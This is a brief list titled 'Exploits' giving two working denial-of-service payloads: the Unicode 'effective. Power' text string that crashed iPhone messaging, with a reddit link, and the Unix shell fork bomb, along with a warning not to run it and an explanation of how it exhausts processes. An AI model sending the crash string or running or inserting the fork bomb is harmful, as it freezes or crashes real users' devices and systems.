Exploits

Apple Text Message

http://www.reddit.com/r/apple/comments/37enow/about_the_latest_iphone_security_vulnerability/

effective.
Power
لُلُصّبُلُلصّبُررً ॣ ॣh ॣ ॣ 冗

effective. Power لُلُصّبُلُلصّبُررً ॣ ॣh ॣ ॣ 冗

Unix/Linux Fork Bomb

Do not run this in a shell. It will crash a system. :() defines a function called : with the body of :|:&, meaning "run : and also run : in the background". ; ends the function definition, and : calls your new function, which endlessly spawns new versions of itself until you either hit process limits or the system grinds to a halt. It's a command that effectively freezes any system without good process limits set.

:(){ :|:& };: